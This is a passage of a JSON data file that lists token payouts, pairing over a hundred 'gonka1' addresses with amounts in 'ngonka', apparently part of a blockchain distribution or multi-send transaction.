\"gonka1r34p353cxrvxf3x29raz0x8axflen82a04env4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91015967243441\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rcpc45n6zch9qlkn4m3cwngekad89xu8mcr09v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"74190426382549\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"67057435920376\"\n }\n ]\n },\n {\n \"recipient\": \"gonka155cnj622zfdl64f23ljmk2tzv7tewl6fp4m2hl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59254989887340\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1myu058axjs62mc3e7na9krwvqpfl9z3gtcw9es\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"56304331223331\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pvkv59e72vju2h7s9j3ex62c5xneqey350vpwn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"48774245916588\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v425qs8gxupjcw3lqx5fsldtve88vd9gaa7r60\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45239835425126\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1umvyh0rz5fdmk9qhxurshhchennajced6f4s89\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45211223884337\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43574867284019\"\n }\n ]\n },\n {\n \"recipient\": \"gonka187tn9y92ur6tu0zf69u94hwl0q77m47y0k36hv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35326094895179\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llxvtg0657ldmqn4l3t0ag496ff355j5kawagy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34703179493138\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w6wwv3wq25p8qge4lqsnfzs8lsd3s8ty6au65p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34463669064904\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jltjehxsnum94nt8c00ts7khmpy4lafv6gryzk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31922079726022\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q5xt54wncgzk7dxv9x64uln68455g83wu9tugg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29700347178857\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yq4vwn7fc9x7lykjhc0x3e7r2atee32czy34mt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29575164563616\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pllyukkeymx3hfd9mts3pryr9y6efs9eshty87\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"24858173755208\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zrnrd7zcqnhjytqa8zsg63slxt2g45ctlqy3fm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23491990914627\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1022747hjz6sdfeup0dalcys6hshlqlnnpkdmqk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23169453291659\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zap7nsccl6x83ucwvq0q6qrefmf9n7ejmj49j3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23114014245507\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ln28jur0gvuwf8frx63lwwagysdf03e8ldayf3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20534659528938\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f7d43z2qpcv07huwf3qjj4zpssvx6080a357wh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20232541892180\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19ghzvgfr065s3fr5awuvs3nhy9fq4n7wrr9kel\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19798354315593\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f5fhrywmd5p0jcd5atk4rm2tjxpdn772lw833k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19460684093418\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w6kt2aj02du25kuc9wsza94h9l7exa0uf64fjq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18811567809251\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12pcu9mcrpa4w4sjd9y3dsksnvu495ss6f9r4ra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18694274050888\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kzmqu27lhan874pzxr0fy0v7xqyenydh9mp8sj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18036443683332\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hqwfnnh30scu6lyzhl5alwjqmaeq3vhkcfxkgu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17681834939234\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17rfqamx8vr4zpd6z0jnulre4acht2lj7tq205e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16531786626167\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uzk2scggfzghr9a5j92l00gzw4jx4adc66977y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16134062752611\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m9sf2rpg635efaw59djqlxkqew9sxvmqd6g343\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15283991233760\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rdarkrtrfnfcvrnf58jyndccqj0r4k630n38rh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14730803064393\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ffjt0acf87chys5w93wsrdj2s94rrmcq8mt48l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14595703339352\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15munkmx6x7k6rqqeexjet4556p7at39ks9qgr5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14474260304851\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cw859nqcd9mg3y3alraluswu55xz9j36evsxd3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14322176494890\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ag5r7em9qp7dn8nf6jecudhu38amu3nwtqv3cg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13573694792548\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ued4vcdeluj9v9vmsmteap7vtg7t50640hvmf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13242399993440\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jv4fcx2gtuj4ejwnng4phugfclgjmhvg9d9cvz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13080046839379\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fkrsesmn2hdj30fhwyam6h4f2e77un36xalhvl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12497662398412\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lrls7q8nu8rhjgchctswfsjlnjh84vwycw3jgt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12126284267879\"\n }\n ]\n },\n {\n \"recipient\": \"gonka188c86f9mrlt4nlcg89f82nnfm9jzq9gtjafj50\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11969739290348\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1apnzzz6wlpevze3vzsmk7n0vp6az5609magdf6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11932993515432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13pacjyw9quwfvzllp2h7u27h6f5khqlftw3jmk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11908860089941\"\n }\n ]\n },\n {\n \"recipient\": \"gonka109g8dnt43nj45xhg83jyjt5f2ywz336w36qzyl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11857109690479\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ea4hhgnahtu4g0zzpmz2p8elcyx7x99hamk0x4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11834634316463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dms4wtzer5zjx32c3grc5twksd8kdp0ut952g7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11804999068025\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tja3g2da45efhe2p83gk3whtussmgmtsdlgprt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11775889822160\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1caju8tg6yg3wkvryhks57jwd8des6ssypfrhhj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11755346548282\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vkafyzr5yz5aht6gzapw6lc52h5wwmnrjwvqlz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11717956702716\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yn54kaefrf7sjk66c74gqap0mquzjqvthsyhwe\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11673458189519\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h3s37p0l23mg6ak9h9nmayh6r9f2vm6umj3qet\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11513343140557\"\n }\n ]\n },\n {\n \"recipient\": \"gonka167mtkjz3c7k4mnv77zgneul4eakz35qqysgj2l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11305089109736\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wr20kvjrm6y6cvqk7jt2e5gpyl45qq3mvt7sr4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11078446910205\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m08n5646hjpavvmjfarad9kr9pxufe7sfy3v7e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11016071211074\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16sthutkxgr88vlkgvqak2h7pdt76fcznfz6w43\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10921214768840\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wthc28t25pg63hzvl07rl8e8r6km6hesl6jhsz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10711052597420\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10356524697948\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zktn8j65wlys8a8e38hqhf4y3x6m4x04zskkrx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9988586022231\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10etnufq85u67k075yuxq6h3rzwlcln5rffhlyx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9921527771819\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zauv3up2rp4al5lhsqnqfh2kqfx2zvy3l0qwss\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9155922064919\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1apw5tzk6a3l9hdpdx5q9v2leehvz5rvvw44x8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8903896410063\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ljarev2nlzu4ej50vx7ylj2rvg4n20fnq2ysc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8669865143449\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12mqkaycdsc7qr37ey5rqw6vhjvkk7waxdc7rjh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8536705102147\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z3kelh3gx3t6kz303f8trdll3j5ap3zz8csyfm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8325426582463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1756ph2flj5y6kw5xqktfgwj3s2ct54ddz0jj0e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7783596922366\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aazyzjuywye4530acgjgw0stu4ydpt9hv4afut\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7472635175272\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vdw6tst3lelc84garssnnjzx7fjpkja2wzpxe8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7257439323925\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10vljxvwy6n9hh263chkt0hj0kg7t0qmdwfrurs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7126663727384\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y95qr73kms3zv5ju0kxtu58ksxdyrkyz8m0430\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7004483068232\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1shc0ywxd993zz3w3h5xdp5uhgu9rv27ws7mmqx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6835043483003\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hszud9tlfe7qs2elkjmmkavk5yhrdned587frx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6775865712894\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2959dx973hd57qsalxvesrcv649296x90ry76\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6713217861349\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rxprdtkfpkszyx3zvyerzk0z52uqpn85wpfvdj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6510598709806\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16p322ch887xjv67erm5dw0lgt4kqj9gz498pv7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6442327838961\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ad7al35f74hdlwl5vzmqla4gg3zlajthqsyeva\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6326560493160\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kyl5le4t0k9dftmu5lj0xqp0dx52dyvn0rtr8y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6235376338191\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100k8hr43z5vp0fnyc94m7lum6mj4st6vksxz8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5805465594251\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12gwxa8vcvahyd4ygcxp4624ywaw98wp953wuva\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5785980666618\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fyghf5n3uk7dtl529mxk6389vryd4xvnh93825\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5740322096699\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lr9mj6dgkv0h76c8y8w0l3esztyg9v2q8d6d8d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5649008951922\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v6gqe8zaqqmlevnmpxa6chjy9mt422mac2lhwc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5626416345685\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19xadn767xykcg4j5jl6nxk55dsdr2muu9r3fhy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5420417253933\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hwvel7n3zuk6wruefuzc356l9myske9stckwnz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5233882003557\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z7h4mzz5kkcydj4l6lzr9j73x49dlcq84mmkrv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5225544478337\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z8dh5kqdn2nnsg527qawy58ca5fme38xffq7ah\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5150029035155\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lh0danzlvxm5qtaly7myqd3n5sus0fq92n8shx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5146315546795\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vcvn2p5gczr5pynqq0ca0933tdrf5w64sjgtdg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4919938488061\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14tqh62mangwzrma2lgg2dm375rcjzn2ydy8ttm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4894031265459\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fc9tzt83dgrqswlgay4668cuqjrk7zsqks2vm2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4879946653867\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168yvlgt9jg86frg2z90cc8w4pz9hnd7f8lshux\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4828093037828\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15kf06ehfplnqtvgnndyfym9w9f63686cvw3nqj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4809487452462\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18v2az8fn2z28ykxu7zyc09crqdmjuldmnag0g2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4766372692428\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12s5q7gzej93ty6ydqrr4ugwrt26zcwtggamz0k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4615281886684\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14cu38xpsd8pz5zdkkzwf0jwtpc0vv309ake364\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4508685844396\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jrkf560tvgqw3f9z4axs9da34lgnrd396e3rs0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4504841695639\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10vh6xfdrksy7npapnhs6pnwmd3ldpxgl8n2gdd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4499200011386\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19pve9p3eth8j7ssv7k4f57lljrtjtl6mjgnuxq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4394936385598\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17t9elrdnnzqd5q2w240ue47tn253gjuhpkflwx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4374758888276\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u4zxypjgcr8khlzefwjr0vwdaj2uzruw2cehj3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4258606767870\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u4gtnwh0hvzlyvran3l7my7hr883ej367ed80r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4251488209351\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ux86q8cgnpvkal497xag8p04ds2u2v23qxawv6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4240884907658\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r288zwzcvw87qeyk7tdwe29nux2s4wxzustuk8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4232778601728\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13rcy8ytzdfyfz8jx5l3ru0l093k7mp5e9waanq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4199542856791\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19dh0tamdjnhtccfdpmsnty3gxfpp0wkdusl0xr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4118725388207\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t8x0m85qvyfzvyevwrj2m28ytf6w3kmlf5r7ez\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4080444259026\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wvv656pt2d8x2khcvytqeessck5uzjnxzsa8f6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4004509906206\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18hns0dspklh6r89nyeg8qaph4vhfkd63tl7a37\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3987721650077\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17ef5hl0588tmjm9ypw7t2kge78wrkcpvyspc0p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3672928729539\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19s3wpdecq3znh7gflv5xax06p96s2uv3qdrtup\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3669248888230\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aun6f73uq2r5fujk38xe0tww980r6a0lz6a45g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3621234292444\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ltv80h8740pc8u4jj7fqwvt8d4rnw3nkc4shaa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3457371816527\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zpw8tml8xl4fm6zm8zpf2u4pq4tehmd9e2vgq7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3362231861628\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3285555682598\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yd8s6z8enw080kj2wgynuwdxzx40gttchqe4za\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3258863349046\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vwsp87trl60t4g67fa677k7d7jztuc3g4qjc3w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3221665521411\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r5hdy9q5v783ef7td98k4c68cxl6a58h5sytfq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3220639632240\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ujnc662v6g69jm6fgxnr79a2m7ehzeut059239\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3211234640565\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15suq3puxz0ec7fnyurwf47qn8jqs8trhyw0uau\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3149836763605\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19dqylqjzp4x04mkktz067l4exrcrg8g7777777\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3133323012338\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k7qdnu46x2uyta6fuja3jsmr2cw7ta38krfhfv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3065588470988\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1amlmhjym02shahjv8ldmupg4cx0qc66q6f85rj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3017095901974\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1svynlfqqsxzuxfm67lgy986438h6l2u8tz4clj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3012757568456\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zpm8qujddac84y7wfh7h3p85ys336n9zjqckzl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2999175542710\"\n }\n ]\n },\n {\n \"recipient\": \"gonka172esz53695ykvv038y8mvdfc6mkk2q0dgfmjks\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2941665532530\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zsvl7ujlc8z3a35v2q6e3nml7ftyk23v76jqgl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2926379308218\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1czmu5smv804kq6pqtyvmjxcjjj720mgl4xc3hd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2797625789804\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f37ltf3h2fcytmxf5svyc4w88k5wzsammgyk69\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2785737330882\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14c0vannxsak0qq4lpmr5qkn40gcfmcvnyu4z2r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2765024397341\"\n }\n ]\n },\n {\n \"recipient\": \"gonka157lvhw8ay84qf6xs6rhvud7hjpnsp5zdcqg0s5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2739159995711\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yewc6rmr5zhcpy6dnpt4wup990j299qt03x40s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2614646090348\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nzjz6svr80uqt49r6u409rsq3skd7fqdmz0lks\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2597919588432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zqqrnrlnam5knwvpmxvlpj4za04t62pxzh65y4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2594962821488\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zvpy47fagx96g8zzhwwxu9yztke82cqvwearsg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2593764205535\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g3xpka5ynkdgspd2r2atma4vzlklrz0kssez0d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2586979530168\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2579411768290\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18nzvzzync0v9q73ka2jsh05ptmhda73t8g6gzl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2554062642627\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2526605346157\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16q0zaetd6hq6d8zj48ur0v967xrrwh566kcazc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2525839052072\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mwwzgd5qztcjddg2pwej0xw8xywqr5l4san6ee\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2516239230812\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2hqmt2lxgw5ctdlt6valanxxqsmtf73g27mpg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2487864393256\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m27e6qup7q8jmvnrn29kahd7vlx6r4l84z4thz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2475577450540\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wj0jmwtwjk0g05tuugh9t028nxl92qrn7e8ajy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2448108786799\"\n }\n ]\n },\n {\n \"recipient\": 